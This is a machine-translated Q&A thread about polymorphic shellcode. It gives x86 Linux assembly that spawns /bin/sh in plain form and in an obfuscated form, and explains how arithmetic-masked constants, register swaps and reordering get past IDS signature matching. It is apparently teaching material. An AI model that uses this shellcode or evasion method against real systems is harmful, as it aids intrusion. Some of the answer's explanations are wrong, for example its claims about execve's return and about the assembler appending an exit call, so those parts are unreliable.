使用两个asm代码中的差异来解释多态混淆

时间:2018-03-08 06:08:58

标签: assembly shellcode

以下是两个asm代码(从此论坛复制polymorphic-shellcode):

混淆之前的

原始asm:

global _start
section .text
_start
    xor    eax,eax
    push   eax
    push   dword 0x68732f2f     ; //sh
    push   dword 0x6e69622f     ; /bin
    mov    ebx,esp
    mov    ecx,eax
    mov    edx,eax
    mov    al,0xb               ; execve()
    int    0x80
    xor    eax,eax
    inc    eax
    int    0x80

在混淆后修改了asm:

global _start           
section .text
_start:
    xor edx, edx            ;line 1
    push edx                ;line 2
    mov eax, 0x563ED8B7     ;line 3
    add eax, 0x12345678     ;line 4
    push eax                ;line 5
    mov eax, 0xDEADC0DE     ;line 6
    sub eax, 0x70445EAF     ;line 7
    push eax                ;line 8
    push byte 0xb           ;line 9
    pop eax                 ;line 10
    mov ecx, edx            ;line 11
    mov ebx, esp            ;line 12
    push byte 0x1           ;line 13
    pop esi                 ;line 14
    int 0x80                ;line 15
    xchg esi, eax           ;line 16
    int 0x80                ;line 17

它做了四处改动:

1。通过算术运算来掩盖/ bin / sh字符串,而不是直接将十六进制值压入堆栈。

Q1.1:我可以理解第3到8行(修订版asm)。第9行是什么意思?等于" mov al,0xb"原来的asm?

2。尽可能使用与原始代码不同的寄存器。

Q2.1:例如,第1行和第2行(修订版asm)是指这个?

Q2.2:我理解混淆,因为IDS无法匹配关键字,为什么要更改寄存器?

3。重新排序说明。在调用execve之前,不要以相同的顺序初始化寄存器。

Q3.1:我不明白这一点。使用以上两个asm解释它。

4。介绍一些不必要的步骤。例如:push byte 0x1; pop esi; xchg esi,eax而不是在执行第一个int 0x80指令后弹出到eax。

Q4.1:在原来的asm中,为什么有两个int 0x80?我试图删除最后的0x80,它仍然有效。 Q4.2:添加与混淆直接相关的不必要步骤??

问题5:为什么" pop eax"在第10行?

1 个答案:

答案 0 :(得分:1)

  

Q1.1:我可以理解第3到8行(修订版asm)。第9行是什么意思?等于" mov al,0xb"原来的asm?

第9行和第10行执行push byte 0xb, pop eax,这显然会转换为mov eax,0x0000000b。因为x86是小端,所以al填充0xbeax的其余部分注册为零)。因此,它实际上取代了xor eax,eax / mov al,0xb组合。

push 0xb -> mov [ss:esp],0x0000000b ; memory at SS:ESP = 0x0000000b
pop eax  -> mov eax,[ss:esp]        ; ergo eax = 0x0000000b
  

Q2.2:我理解混淆,因为IDS无法匹配关键字,为什么要更改寄存器?

许多编译器以或多或少的标准方式使用寄存器。像IDA-pro(或IDS)这样的高级程序可以使用这些知识将程序集反编译回可读的源代码,前提是它可以推断出用于创建程序的确切编译器版本。通过混合寄存器,反编译器很难将汇编代码转换为更高级别(伪)的源代码。对于使用已知代码片段来推断程序执行的操作的IDS也是如此。

  

重新排序说明。在调用execve之前,不要以相同的顺序初始化寄存器。   Q3.1:我不明白这一点。使用以上两个asm解释它。

如果您使用系统调用,则可以相对轻松地推断应用程序正在执行的操作。 Linux(例如)将调用#存储在eax中,并且每个调用都在预定的寄存器中指定了参数。通过使分析程序难以确定eax的值,不清楚正在执行哪个系统调用。没有这些知识,其他寄存器(读取:参数)的含义是不可知的。如果你用非废话值填充未使用的寄存器,那么事情变得更难以解释。

obfuscater不希望你知道它正在调用syscall#11(execve)。要做到这一点,唯一的方法是尝试以eax方式加载0xb。 如果我们总是最后(或第一次)加载eax,那么就可以更容易地弄清楚发生了什么。如果我们使用2条或更多条指令加载eax,并且我们在其间放置了大量不相关的指令,则在执行系统调用的eax之前跟踪int 0x80的最终值变得更加困难

  

Q4.1:在原始的asm中,为什么有两个int 0x80?我试图删除最后的0x80,它仍然有效。 Q4.2:添加与混淆直接相关的不必要步骤??

不,之前的系统调用(execve)在成功返回后将1加载到eax中。 Syscall#1恰好是sys_exit,它干净地关闭了程序。将代码注入程序时,插入的代码段之后的字节是随机垃圾,我们不想执行这些字节,因此必须干净地退出线程。致sys_exit的呼吁实现了这一点 如果您将此代码段组装为独立程序,则汇编程序将为您附加sys_exit调用。这就是为什么删除最后一个int 0x80似乎没有任何区别。

  

问题5:为什么" pop eax"在第10行?

首先0xbpush,然后pop加入eax,基本上执行mov eax,0xb